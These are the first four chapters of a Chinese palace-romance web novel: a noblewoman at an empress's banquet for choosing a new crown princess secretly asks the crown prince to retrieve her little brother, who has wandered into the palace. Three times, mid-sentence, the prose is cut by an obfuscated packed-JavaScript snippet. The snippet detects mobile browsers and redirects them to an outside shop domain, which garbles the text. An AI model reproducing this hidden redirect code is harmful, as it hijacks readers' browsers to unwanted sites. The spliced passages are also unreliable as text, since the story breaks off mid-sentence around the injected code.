《君妇升职手札》 1. 赏菊宴 光熹二十四年,元月十四。 正是一年中最寒冷的时候,昨日夜半又零星地下起雪来,纷纷扬扬地落了满地,直到一刻钟前才堪堪止住。 雪消日出,倒是个好兆头。 外宫门前已停了好些马车,大小不一,装饰各异。不时有年轻女郎从车厢内走出,又被穿着鹅黄襦裙的宫人接引离开。晃眼望去,皆都是上京城里有名有姓的门户。 原该是极热闹的场面,所有人却不约而同的保持沉默,踩着尚未清扫干净的积雪,敛衣肃容地跟在接引宫女身后,元嘉亦如是。 一年前,太子妃薛氏病重而亡,生前无有子嗣,死时也只太子陪伴在侧。内中情由不为外人所知,燕景祁送别发妻后亦举止如常,只那之后却将全副心思放在了朝政之上,甚少出入妃妾院落不说,每日更是处理各事要务直至深夜,全然不顾及自己的身体。半月前积劳成疾大病一场,之后便有流言传出,道今上有意为太子另聘一位太子妃。 之后不久,清宁宫的娄氏皇后便亲下了懿旨,又命内侍遍送邀贴,让上京城内适龄且未婚配的年轻女郎们在十四这日入宫赏菊,一并饮宴。 今日外宫门前车马云集,便是为此事。 但这场别有用心的赏菊宴,于元嘉而言却并无多大意义。她无意趟这趟浑水,家中也不愿拿女儿的后半生去赌与皇室的这场姻缘,是以眼下不过抱着遵旨的念头来皇宫转一圈充个数罢了。 元嘉的父母感情甚笃,耳濡目染之下,她自然也想得个一心待己的深情儿郎。可太子身为国朝储君,既做不到,也不会去做到。如此来说,满朝称赞的太子便算不得她心目中的良配了。 西海池内的湖心亭,已聚集了不少年轻女郎。举目望去,云鬓翠围珠绕,覆身锦衣绣袄,有心思的都放在了明面上,倒是一派花团锦簇的热闹。 只是席宴未开,贵人亦未至,众人便也散在窄桥四周等候着,又或是寻着相熟的女伴低声私语,倒也无人落座。 一众女郎之中,眼熟者不少,点头之交的也有许多,但真正与元嘉相熟的不过两人——宣威将军欧阳沁和宿国公独女柳安沅。元嘉与此二人俱是少时相识,又兼有上一辈人的深厚交情,算得上是情谊非常。 两人到的稍早些,正倚着栏杆凑在一处闲话,远远瞧见元嘉过来,立时便扬了笑意回身等待。见人走的更近些了,又伸了手将元嘉带到身边,语气熟稔道:“正说起你呢,还猜你什么时候才到……” 元嘉亦笑着迎上去,执过两人的手,又细细看了几眼,故意道:“咱们这副打扮,说是来看戏的,又有哪个会信?” 这话虽略带些玩笑,却也不掺假意。今日在场的女郎,明为皇后相邀赏菊而来,实则牵系家族荣耀,众目之下供贵人擢选罢了。有跃跃欲试者,自然也有混水摸鱼者。只是这样的场合,一举一动皆代表着家族的脸面,饶是真无意,也不能失了规矩仪礼,更不能打扮随意的失了体统。 只说欧阳沁,身为在前朝供职的武官,素日里常着轻便胡服,又或是穿着男子的圆领袍行走,可今日在深宫重地,也只能久违的改换女子装束。一身窄袖圆领对开襟式衫子,外罩圆领大襟对穿褙子,间色长裙曳地,墨绿披帛裹身。欧阳沁本就高挑,通身打扮下来,全然的威严庄重,隐约可窥见其在战场时杀敌浴血的凶狠模样。 而柳安沅在打扮上则更活泼些。宽袖衫子交窬裙,一头青丝结了个双螺髻,左右别了对钿头钗,发髻挽了圈珍珠丝带,反显出一副娇俏的稚嫩模样。 “……你该再早些到的,”柳安沅有些兴致勃勃,“便能与我们一起瞧热闹了。方才一堆人站在这儿,你问我答、你答我问,明里暗里打听动静的模样,可有意思了!” “嘘,”元嘉眨了眨眼,又做了个噤声的动作,“声音再轻些,这地方又不隔音,仔细叫别人听到了,对你生怨呢!” 柳安沅下意识捂了捂嘴,可随即又放了下来,“唉,又不能由着性子说话,还要再等上许久,真是难捱……我都想回家了。” 说着又掩住嘴,百无聊赖的打了半个呵欠,狡黠的瞳孔在眼框里转了又转,最终停在元嘉的身上—— “嘉儿,你今日穿的也太素净了,若放在夏日看着便清爽,放这冬日却冷了些……不过也很好看!” 元嘉含笑不语,只伸出一截葱白指尖,轻轻戳了戳柳安沅眉心,并不多做解释。 她今日只穿了件直领对襟褙子,配以花草纹高腰长裙和外罩的间色笼裙,颜色确实有些素净,几乎要与雪景相融,唯一鲜亮些的翠纹织锦羽缎斗篷也早在下车时交由牵引道路的宫人带走了。 若说有什么繁复的地方,便只剩被挽成百合髻的漆发上的些许装饰了。发心簪了支银鎏金钗首,发间点缀了数枚小巧花珠,发背则插了副嵌玉珍珠流苏后压,最后以耳边的细长绿松石摇叶耳坠收尾。 简朴大方,落落有致。既不会坠了季家的名号,也不至在人群中一眼注目。 这便够了。 三人之中,元嘉力求泯然于众人,欧阳沁则有些庄重过甚,柳安沅更是把自己往小了拾掇,任谁都瞧得出是没有心思的。可元嘉却清楚,欧阳沁与柳安沅不论做何种打扮,都无有中选的可能,唯一存在变数的,只有她自己。 无他,欧阳沁才从边关打了胜仗回来,又是本朝唯一的女将,统领兵士数万,若眼下做了太子妃,于公于私都是最大的吃亏。 至于柳安沅,外祖母昭献大长公主是先武皇帝血脉相连的嫡亲妹妹,其母靖安郡主更是自出生起便与皇室关系紧密,出入宫闱如进自家宅院般寻常。拥有这样出身的柳安沅,早被娄皇后当做半个女儿般疼爱,与燕景祁更是熟悉到可以互称表兄妹,又谈何会中选太子妃呢? 这两人,不过是被拿来凑数,也彰显皇室的一视同仁罢了。 元嘉状似不经意般往四周扫视一圈,眼看金钗钿合、披罗戴翠者甚多,心中倒也安心了不少。非她自视过高,只是若能一开始便将危险掐灭于萤火之初,岂不更好? 与柳安沅单纯率真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14484902|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的个性不同,欧阳沁因职务之故与三教九流打交道的机会颇多,只一眼便了然元嘉心中所想,本欲打趣两句将话题岔过,却忽听不远处传来一阵嘈杂响动。 “……这样大张旗鼓的,当别人都是瞧不出她心思的瞎子么!” 柳安沅眯着眼睛,看着被一群女郎簇拥着缓缓走近的亮色人影,忍不住嘲讽道。 这话说的不算客气,元嘉与欧阳沁停了说话,又顺着动静抬头去看,立时便明白柳安沅这股无端的火从何而起—— 她自来不睦的老仇人,广平侯府的二娘子赵舒和,也出现在了女郎云集的湖心亭中。 与元嘉三人图简的穿着不同,这位赵二娘子,从头到脚的打扮都更为隆重些。上着团花宽袖襦衫,下着联珠团花红裙,脚踩小头履,臂缠朵花披帛。头上没有簪钗,而是戴了顶闹蛾扑花冠,大方展露光洁的脖颈,也衬的胸前那副璎珞项圈上的宝石愈发夺目。 按说,这样华贵的饰物往往会掩去佩戴者本身的姿容,偏赵二娘子生的明艳,月貌花庞,通身打扮下来,却反让饰物成了她的陪衬。 有此容貌,又这般被人追捧,倒像是已经将太子妃之位收入囊中了似的。 元嘉看着柳安沅几乎可算是挂脸的表情,无奈与欧阳沁对视一眼,压着声音道:“……今日这场合,许多双眼睛都看着呢。姑奶奶,便先忍着些罢!” 柳安沅面色不快地盯着赵舒和,须臾冷哼一声,又别过了脸。 勉强算听进去了。 如此又是一阵,方有女官捧盏走进,又姿态恭敬地引人入座。却不知是谁排的座次,竟将柳、赵二人放一块儿了。 “……皇后娘殿下临过来时,被宫中琐事绊住了脚,需得再迟些时候。殿下担心各位娘子等候无聊,特意吩咐了奴婢过来,让奴婢领着娘子们先观花,聊作打发!” 站在最上首的女官如是道。 话毕轻轻拍了两下手掌,身后便有内侍鱼贯而出,低眉垂眼、井然有序地将数盆开得正好的菊花搬了过来。 像是吹响战斗的号角,女郎中的凑兴者与跃跃欲试者,旋即大着胆子品鉴起来,又与身边人你一言我一语地互相攀谈,作诗行令,场面颇为热闹。期间不时有宫人在席间来回走动,手持玉壶替人斟杯。 元嘉三人志不在此,也不擅花草培植,瞧不出这些品种的稀奇,只勉强看了几眼,便兴致缺缺地低下头说起闲话来。 变故便是这时候发生的。 随她进宫的侍女盼春,按说早该与另一位随行的徐妈妈同被引去旁处等候,却莫名出现在了这场席宴之上,穿着宫里人的服制,正躬身凑近她们这一桌做斟酒之态。 盼春似乎有些紧张,捏着壶把的手也微微有些颤抖。轮到元嘉时,那颤抖的动作又更大了些,酒液溢出杯盏的同时,也洇透了元嘉的袖角,留下一抹醒目的浊痕。 “……娘子的衣袖脏了。请娘子挪步,随奴婢去外间稍做清理。” 迎着元嘉询问般的视线,盼春如是道。 2. 棘手事 元嘉的心脏剧烈地跳动了几下,手心隐隐有些出汗。她微抬眼皮,不动声色的向四周扫视了一圈。上首的女官已失了踪影,其他女郎的注意力也大都聚集在眼前的热闹上,没有人觉察到元嘉此桌的小小骚乱。 “……那便劳烦姑姑了。” 元嘉顿了顿,同样以极低的声音回道。 说着,又朝柳安沅与欧阳沁望去,见两人会意点头,这才小心翼翼地起身,跟在盼春的身后,避开人群从另一侧离开。 赵舒和离得最近,元嘉被酒液脏了袖角的一幕自然躲不过她的眼睛。但为着柳安沅的缘故,她少与元嘉打过交道,自然也没有见过盼春的模样。此刻见元嘉离席而去,便也真当前者是去清理污渍的,打量了两眼便无趣地收回了视线。 …… 不敢走得太远,盼春只将元嘉领去了来时路上的一处僻静之地。眼见四周无人,这才敢露出几分焦急,“娘子,小郎君他、他不在咱们的马车上了!” 盼春口中的小郎君,便是元嘉兄妹四人中最小的那个弟弟,名唤元淳。 元嘉呼吸一滞,像是没反应过来般低声喃喃:“……什么?” 而后又狠掐了虎口两下,强迫着自己镇定下来,方继续道:“你意思是、淳弟上了进宫的马车?如今人还找不着了?!” 盼春急得眼眶都有些泛红,闻言惶遽地一点头,又迅速与元嘉解释了一番。 季元淳何时上的、又如何上的马车,没有人知道。总之,元嘉带着盼春和徐妈妈离开后不久,驾车的崔贵便听见车后放零散物件的箱柜里传出了异常的响动。打开一看,正是睡眼惺忪的季元淳。 娄皇后的邀帖里没有季元淳的名字,他便不该出现在宫闱重地之内,哪怕停留的地方是宫门口的自家的马车上。崔贵亦是明白,也不敢声张,只遮掩着将人挪去了车厢内躲着,自己则坐在车帷外守着。 “……后来呢?” 元嘉眉头紧锁。 “后来,也不知道从哪儿又跑来了个小郎君,绕着咱们这些停放的马车探头打转。身边没有人跟着,可也不见侍卫们出面阻拦……” 元嘉听到这,面色突然显出几分凝重。 以她对自家弟弟脾性的了解,这个小魔星一定是与那人对上面了,保不齐还聊得十分开心,这才偷摸从车里溜了出去。眼下,怕正在宫里的哪处地方和人玩闹呢! 果不其然—— “……那小郎君在附近跑动了一阵,很快就不见了,”盼春竭力回忆着,“隔了一会儿,等崔贵再掀帘时,咱们家的小郎君也不见了人影!” 这样的年纪,能在宫里自由出入,又不惧侍卫阻拦的,除了中宫的五皇子,还能有谁? 元嘉深吸了一口气,竭力稳住面上的平静:“行了,我知道了……崔贵又是怎么把事情告诉你的?” 盼春连忙道:“崔贵托了人,借口咱们有东西落在了马车上,这才给递进来的信儿……” “托人?”元嘉两眼微微眯起,稍有平复的心跳又一次剧烈跳动了起来,“无亲无故的,什么人愿意冒这风险帮咱们的忙?” “一位姑姑,说是与徐妈妈有旧,认出了咱们家的马车,这才搭了手……” 盼春语焉不详,显然对其中的关窍也不甚清楚,又见元嘉盯着自己身上的这身衣裳,忙补充道:“这也是那位姑姑让换的,说是往来行走间会方便些。” “徐妈妈也知道?” “知道的,可也没说那姑姑究竟是谁,只让奴婢按姑姑说的去做……” 盼春说话声愈小。 如何有旧,可以让人帮到这种程度? 元嘉疑虑愈重,可眼下也不是细究这些的时候了。 “淳弟的去处,我心中大约也有些猜测,”元嘉垂目盯着脚下的小道,眼中几度踌躇,最后还是咬牙下了决定,“你且先回去,后头的事情,我来想办法。” “……娘子,”盼春犹不放心,“那姑姑既说与徐妈妈有旧,不若再请她帮个忙,将小郎君带回来?前头的赏菊宴还没散呢,咱们又都不是宫里的人,如何好去寻人……” 元嘉没有抬头,“若那人真与徐妈妈有旧至此,又何必让你特意寻我一趟……好了,你先回去。放心罢,我、我应当是有法子的。” 这话说的断断续续,盼春也有些犹豫,可最终还是在元嘉催促般的目光中点了头。 “你这会儿就走,越快越好,”元嘉又吩咐道,“回去的路上警醒着些,别被人瞧出什么端倪……记得先将这身衣裳换下来。那位姑姑帮了咱们,已是冒了极大的风险,不能再让人家为咱们受别的罪责了!” “奴婢知道的,这便回去了。” 盼春一屈膝,又突然想起些什么,“只是娘子,您这袖角上沾的酒渍怎么办?也是奴婢一时没有更好的主意,这才……如今手上也没个东西能替您稍稍擦拭一下,就这样回去,会不会不太好?” “不妨事,我的座次离上首且有段距离呢,到时略挡着些便是了。” 元嘉扯着袖子看了两眼,摇了摇头,示意无碍。 “欸!” 盼春这才将心收回肚子里,又低低应了一声,鹅黄衣裙迅速消失在小路的尽头。 这期间元嘉一直警惕着四周动静,唯恐两人的话被谁听了或看了去,直到盼春的身影彻底消失在视线内,才终于长舒一口气。左右环视了一圈,元嘉却并没有急着回去,反而慢吞吞地踱起步来。 方才入席时,她有意多看了两眼,除开她们这些受邀的女郎以外,最上首仍有两个坐席空置。正中的位子自然是娄皇后的,但左侧的位子是为谁准备的,她便有些不确定了。 无他,盖因如今的太子虽自小交由中宫抚养,却实际非娄皇后亲子,而是四妃之一的德妃薛氏所出,只是母子间的感情不亲厚罢了。 偏今日这场合,又是为了燕景祁择选新妇特意设下的……究竟是这位太子殿下陪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14484903|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同娄皇后亲临,还是做生母的跟养母一起掌眼,委实叫人拿捏不准。 但这也不是元嘉眼下正在意的事情。 她留在此地迟迟不走,便是无计可施之下的守株待兔,赌自己能在这条去往湖心亭的必经之路上等到娄皇后的凤驾……这是她想到的唯一能让季元淳毫发无损地离开皇宫的机会。 否则,哪怕真有五皇子的缘故,她这弟弟怕也难逃一个擅闯宫廷的罪名,到时便更难以收场了。 思及此,元嘉的眼中现出少许沉重。这无疑是一条下下之策,可匆忙之间,她再想不出其他更好的法子了。唯有死马当活马医,赌他人言谈为真——娄皇后最疼爱自己的幼子,也确是个再慈悲和善不过的人。 “……前面的是哪宫宫人,不去湖心亭当差,停留此处做甚?” 遥遥传来一声尖细且高亢的问询,将元嘉从满腹的纷乱心绪中扯了出来。她暗道一声‘来了’,手却微微有些颤抖,狠捏几下掌心无果后,只好将其藏在袖子底下聊作遮挡。轻眨着眼睛盖住眼底慌张,元嘉深吸一口气,缓缓转身。 而后有一瞬间的怔愣。 映入眼帘的,是位身形挺拔的男子,瞧着似与自家兄长的年纪相仿。朗目疏眉,举止不凡,此刻正微抬着眼,默不作声地打量着元嘉。 身边却并无宫人围簇,只在两、三步开外的地方跟了个穿内侍衣裳的随从。方才发出一声问的,想来就是此人了。 竟不是娄皇后先到,而是……太子?! 元嘉的瞳孔微缩,几欲脱口的话被生生毙在了喉间。她并没有见过燕景祁的模样,可能出现在此地的男人,除了太子,她实在想不到第二个人。 那内侍见元嘉僵在原地没有动作,原本询问的目光一点点变为锐利的审视,嘴唇微动便又要问话。 元嘉这会儿也反应了过来,瞬息间在脑海中转了无数个念头,又赶在那内侍张口之前屈膝行礼,口中称道:“太子殿下康安!” 燕景祁仍将视线停留在元嘉身上,好一会才开口叫起—— “……你、也是今日入宫的女眷?” “是。” 元嘉简短道,只作不知道般隐去了自己的名姓。 “姓甚名谁,其父何人?” 燕景祁却问的更细了些。 闻言,元嘉心跳如擂鼓,手也不自觉地攥得更紧,眼睫颤了几颤,一咬牙干脆道:“臣女请殿下施援!” 说着,便要跪下。 燕景祁没有动,只瞥了眼静立在身侧的申时安。后者立刻会意上前,抬手阻了元嘉想要下跪的举动,又自觉往后退了几步,站到离二人有段距离的地方,佝头垂眼,不语不言。 “……请孤施援?” 燕景祁的视线始终停留在元嘉的脸上,比之前又更多了三分审视的意味,由上至下将人看了又看,须臾方道:“有胆子,孤还是第一次听到这样的话,只是……你是因何而请,又为何要孤施援?” 3. 初照面 元嘉听不出燕景祁话里的喜怒,可眼下也绝不是退缩的时候。只要没被当场问罪,于她便是个好兆头。 只是该如何去说呢? 元嘉有一瞬间的迟疑,可旋即又被自己强压了下去。燕景祁也好,娄皇后也罢,她站在这里便是一场豪赌,又在举棋不定什么呢? “……臣女的弟弟,许是被五皇子‘请’去玩耍了,一时不见人影。臣女不敢随意寻人,只好斗胆请殿下施援。” 顿了顿,又道:“深宫重地,还是让他早些出去,不要再胡乱走动了。” 再度往虎口处掐了一下,元嘉干脆利落地抬头,一双眸子直直对上男人不辨喜怒的注视。 “五郎?” 燕景祁挑了挑眉,面上的冷意褪了几分,“……他今日倒确实回来了。” “只是,你弟弟怎么会出现在内宫?若孤没有记错的话,今日受邀进宫的,当只有各府的女眷。” 并没有被元嘉的解释说服,燕景祁点出其中的关窍,又继续追问道。 分明是冬日,元嘉手心却有些出汗了。燕景祁问的,也正是她如今最担心的……季元淳未得邀帖入宫是事实,她狡辩也无用。可若要请燕景祁施援,又必然跨不过对季元淳出现在皇宫的质问。 电光火石之间,元嘉突然想起了早前在席间与欧阳沁聊起的话。灵光陡然一现,旋即稳住声调答道:“是臣女不好。舍弟近来少见臣女,惦念的紧。知道臣女今日要早起出门后,便特地避开了人等在马车里,想见臣女一面,也算作是送臣女出门。” “可他年纪实在是小,撑不住睡意,未及下车便又睡了过去,偏还攥着臣女的衣角不放。他攥得紧,臣女也实在不忍用力,想着马车是停放在宫门口的,便大着胆子将他一并带了过来。原是让仆从把人守着,等到臣女出宫时再一并离开,不想中途却遇上了五皇子……” 元嘉感受到燕景祁的视线在自己身上不住地移动,大抵是在心底盘算这番话的可信程度,好一会才开口道:“……你的理由很充分,话说的也很好听,却未必都是实话,当中怕还藏了不少事情。” 元嘉掩在鸦睫下的瞳孔微缩,指尖更是深深陷入皮肉。她还是太自以为是了,竟以为自己有骗过一国储君的本事。 “不过么……” 燕景祁又道,“这件事说到底也是五郎起的因,个中细节,孤便也不深究了……申时安!” 申时安闻声上前。 燕景祁低声吩咐了几句,后者神色不明地看了眼元嘉,而后迅速离开。 “……等你再回到马车上时,自会看见你家弟弟的。” 元嘉心头一松,可随即涌出的,是更大的焦躁。她此前一直避而不谈名姓,便是怕自己在上位者面前惹了眼,也怕因此事给自家平添一场无端风波……可在燕景祁口中,却已然笃定她是哪家的女眷了似的。 元嘉嘴唇翕动,勉力开口:“臣女多谢殿下!” 燕景祁颔首,抬脚便要离开。 元嘉忙侧身避过,又一次屈膝行礼,脚下却没有半分要挪动的意思。 燕景祁已向外走了好几步,却迟迟没听到身后传来的任何响动,遂驻足回头,皱着眉道:“你为何不走?” 元嘉垂下眼睑,心中思绪百转:“今日之事,虽已得殿下施援解决,可亦有臣女不察之过。殿下虽不问罪,臣女却也无颜再回席上……” 话说出口,元嘉的心便开始忐忑起来。 她一不想与燕景祁沾上任何关系,二也不愿跟随燕景祁一前一后地回席。这样的醒目,便是什么事都没有,落在有心人眼里,也变成了有事……她既无意太子妃的位子,便也不要在这当头惹上任何流言了。若能借此离席,便是最好。 “你们的马车都停在宫门口,若非五郎的缘故,令弟也进不得宫,”燕景祁淡淡道,“所以也算不得你或是你家弟弟的过失……速速回席罢!” 话已至此,元嘉也再无借口了,只好道:“臣女的袖口沾了酒渍,本也是要出来清理的。只是头先着急弟弟的事,一时忘了……还请殿下先行,臣女稍作拾整后再行回去,也免在贵人面前失了仪态。” 燕景祁的视线微移,果见元嘉的袖面内侧有一抹似有若无的暗色印渍。他顿了一下,眉梢轻挑:“既如此,孤也就不勉强你了。” 语罢,便再不停留地离开。 元嘉一见男人的背影消失,也连忙疾行几步,另在附近寻了处僻静地方。确认四周无人后,才敢吐出一直憋在胸口的那股浊气,低声道:“……好险。” 她的神色还有些恍惚,俨然心有余悸的模样。抚了抚胸口,又站在原地等了好一会,直估摸着时辰差不多了,元嘉方才沿着原路回了湖心亭。 落座时下意识望了一眼,上首的位子依旧空着,不仅皇后未至,便是先她一步离开的燕景祁也依旧不见踪影。 这是还没到? 元嘉有些奇怪的收回视线,默然回座。 “……去了这样久,可都妥当?” 欧阳沁不着痕迹地坐得更近了些,偏过头低声询问,“方才那宫女,我瞧着分明是……可是出了什么要紧的事情?” 身边再度被熟悉的气息包围,元嘉总算松懈下来,同样压低了声音道:“就是我家那个小魔星……他不知怎的上了我的马车,又、总之是一言难尽。好在叫崔贵发现了,这才借了盼春的口来找我来拿主意……” 有些事情,元嘉也不好细说,只好含糊着一笔带过。 “你既回来了,想是一切都安排妥当了?” 欧阳沁再次轻问道。 “……嗯。” 元嘉迟疑地点了点头,“算是吧。” 欧阳沁这才放心。 缓缓端起桌上的杯盏,元嘉轻抿了一口果酒,算是给自己压惊,而后才反应过来有哪里不对劲—— 怎不见柳安沅出声? 连忙抬眼去看,却见柳安沅偏着身子坐在一旁,将脑袋搭在臂弯之间,整个人显得气鼓鼓的,俨然生着谁的闷气,根本就没发现元嘉已经回来了。 元嘉不解,垂在桌下的手轻轻扯住了欧阳沁的袖角,又蜻蜓点水般往下拽了拽。 像是无有察觉一般,欧阳沁依旧保持着端正挺拔的坐姿,只余光一点,又朝某个方向努了努嘴——是一条过道之隔的赵舒和。原本正姿态娴雅地与人说着话,见元嘉的视线投了过来,遂勾起浅浅一抹笑弧,尤带三分矜傲地朝人颔首。 这还有什么不明白的…… 元嘉无声叹了口气,越过欧阳沁的肩膀朝人小声道:“姑奶奶,之前不都说好了么,这会儿怎么还生起闷气来了……你忘了上次郡主娘娘是如何罚你的了么?” 柳安沅这才发现元嘉的存在,却还是扁着嘴,整个人显得格外怏怏不乐,“阿娘才不会因为我与她拌嘴罚我呢,她自己也和福昌郡主不对付的……” 福昌郡主,便是赵舒和的母亲了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14484904|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而柳、赵二人,之所以会成为如今这样水火不容的关系,便是跟彼此的母亲有着脱不开的关系。 想当年,靖安郡主与福昌郡主先后逾制册封郡主尊位,又皆属同辈女郎中的佼佼者,可谓是风光无限。可唯有一点不同——靖安郡主封位,靠的是自己的母亲昭献大长公主,和身上流淌的皇室血脉;而福昌郡主封位,靠的却是先太后的垂怜,和与先太后同出一族的侄女身份。 虽不曾明言,但福昌郡主在外人眼里难免矮人一头。 昭献大长公主是先帝的嫡亲妹妹,朝中赫赫有名的女武将,靖安郡主自出生始便颇受先帝宠爱。而福昌郡主少时失孤,受先太后照拂也时时于宫闱间行走,后宫中多为女眷,靖安郡主虽得先帝宠爱,却难免逊色于福昌郡主。 但若仅仅如此,原也不至于到彼此结怨的地步。偏两位郡主年纪相仿,旁人提起一个便会说起另一个,既相提并论便必会评个上下高低,矛盾便由此而生。 靖安郡主不满福昌郡主尊贵不及自己,却总在后宫女眷中高她一等,福昌郡主则不忿自己与靖安郡主同为郡主尊位,却仍在外人嘴里处处不及。 久而久之,两人便彼此都看不过眼,更不愿意短对方一头。 待到出嫁之时,福昌郡主一眼相中了风流倜傥的赵侯爷,于是太后下旨赐婚,福昌郡主便成了广平侯府的世子夫人。中途虽有些不如意的变化,但有做姑母的太后护着,老侯爷夫妇也疼爱有加,福昌郡主的日子依旧过得顺风顺水,婚后不久便有了身孕,又先后诞下一子一女,可谓是遂意至极。 而靖安郡主的夫婿,不是自己去相的,也不是先帝或是昭献大长公主选的,是时为宿国公世子的柳小公爷遥遥一顾倾心,又故意在各种场合佯装偶遇,直到靖安郡主自己点头,才最终成就了这段缘分。 靖安郡主婚后与柳小公爷妇唱夫随,琴瑟和鸣,多年来虽只得柳安沅这一个女儿,却从不因此事烦忧,更将日子过得令人称羡。 明面上,有儿子袭爵的福昌郡主似乎更加得意,可靖安郡主和宿国公也是上京城出了名的恩爱眷侣。如此,于婚事之上,两人谁也压不过谁,勉强算作打平。 可近年来,先太后仙逝,老侯爷夫妇也相继离世,再无人敲打的赵侯爷又恢复了一贯的风流脾性,流连于妾室院落不说,更三不五时地往府里带人。 如今除却福昌郡主所出一双子女,旁的庶出子女也不少。福昌郡主不过三十许,当年也算是一等一的美人,如今却早已疲态百出,有苦难言。 反观靖安郡主,虽至今只有柳安沅这一个女儿,夫妻俩却莫不是把她当掌上明珠一般宠着。柳公爷洁身自好,更不曾为衍子息而纳妾室进门,便是柳老夫人因子嗣事对靖安郡主生有不满,碍着自己儿子的面,也从来没有多说过什么,靖安郡主的日子反倒愈发逍遥了。 如此区别,福昌郡主的怨怼自是一日胜过一日,也愈发看不惯当年在宫里被自己处处压了一头的靖安郡主,说话间难免尖锐。 赵舒和自幼耳濡目染,便也养成个不愿落柳安沅下乘的性子。靖安郡主成婚多年,也仍是那个听到福昌郡主的名字就会艴然不悦的女郎。 自己便不是个宽和性子,又怎么会叫自家女儿处处忍让呢! 宿国公府与广平侯府不过面上之交,倒也不怕会因此毁了情谊。当年满京皆知两位郡主不和,如今也依旧满京皆知,只是故事里的人变成了宿国公府的大娘子和广平侯家的二娘子罢了。 4. 不解意 “皇后殿下驾到!” “太子殿下驾到!” 伴随着突然响起的一声唱和,姗姗来迟的设宴者终于到场了。 柳安沅的神色这才好转少许,又与元嘉两个一同起身,敛目屈膝,口中呼道:“皇后殿下康安!太子殿下康安!” 余下诸女亦然。 元嘉垂着眼睑,视线停留在眼前的方寸之地,繁复靡丽的织物从地面拖曳而过,而后便是一道温和又威严的女声:“都起来罢。” 众人又是谢恩,这才敢直起身子,却仍是规矩地各自站立,屏气凝神,沉默着等待上位者的其他吩咐。 “远远的,予便听见你们的笑声了,这会儿怎么反倒拘谨起来了?” 那女声含着笑意,继续道,“快,都坐下。” “……是!” 又是一声齐答,诸人方才重新入席。 小心坐回位上,元嘉不着痕迹地抬眼窥探,默不作声地打量起这位天底下最尊贵的女人——大周的皇后娄氏。 这位娄皇后,可说是生来显贵。 出身临川娄氏,作为娄家此代唯一的嫡出女,及笄后被聘给了时为二皇子的光熹帝为正妃。 彼时光熹帝尚为藩王,嫡长次序下来,本是帝位无缘的。只前头那位太子德行有亏,又暗行巫蛊祸事,叫昭献大长公主进言,废了其太子尊位。光熹帝便顺理成章地成了东宫的新主人,娄皇后也从一个普普通通的藩王妃一跃成为炙手可热的太子正妃,而后又成了天子之妻。 光熹帝念旧,颇看重与娄皇后的夫妻情义。这些年来,宫里虽也多了不少美貌佳人和皇子皇女,却也动摇不了娄皇后的地位。如今最受宠爱的大公主熙宁便是娄皇后所出,而太子虽非娄皇后亲生,却也由娄皇后亲自教养长大,虽非母子,却也胜似母子。 坊间皆道,为女子者,若能有娄皇后一半的福气,便可一生像心如意了。 “……明日便是上元佳节了,本不该在这当头让你们进宫的,只是予瞧着这花开得实在是好,只予一人观赏未免无趣,这才把你们都喊了进来。” 娄皇后笑道:“本该早些过来的,只是临时遇了点事,不得已才耽搁了些工夫。倒叫你们在这里枯等了予半晌,实在是予的过错……” 这也只是娄皇后的客套之言,不会有人傻到真以为娄皇后是在向她们聊表歉意,更不敢在此刻贸贸然搭话,只埋着头默默听声。 场面一时冷清。 娄皇后也不在意,笑了笑又道:“方才予还听见你们在吟诗作赋呢,热闹得叫予想起了前些时候的诗会……赵二娘子何在?” 赵舒和听见自己的名字,用余光瞥了柳安沅一眼,唇角微勾,挑衅意味浓郁。而后应声而出,屈膝行礼道:“臣女广平侯府赵舒和,敬问皇后殿下康安!见过太子殿下!” 娄皇后颔首叫起,又打量了赵舒和几眼,满意道:“腹有诗书气自华……怪道那日诗会,连熙宁也赞你一句。” “多谢皇后殿下夸赞!”赵舒和受了赞,又谦虚道,“实则是当日佼佼者众多,熙宁公主见臣女年纪轻,为勉励臣女,这才当众赞了臣女一句……臣女惭愧,还有许多需要精进的地方呢。” “人也谦逊,不错。” 娄皇后似乎颇为满意,可眼底却并不多见笑意,更像是随意找人起的话头。 因为下一刻,话题便从赵舒和自己转到了她的母亲福昌郡主身上。 “……你母亲近来可好?” “母亲一切安好,只是府里事多,近来总不得空,瞧着倒瘦了许多。” 赵舒和垂目答道。 “广平侯府家大业大,是累人了些……偏你母亲又是个多思多虑的性子。”娄皇后叹了口气,“兰佩,着人去取支百年人参,一并挑些补物送去广平侯府,务必让福昌郡主好好保重身子。” 兰佩,便是一开始引着元嘉等人入席的女官,闻言屈膝应下。 “臣女替母亲谢皇后殿下赏赐!” 赵舒和亦是拜谢。 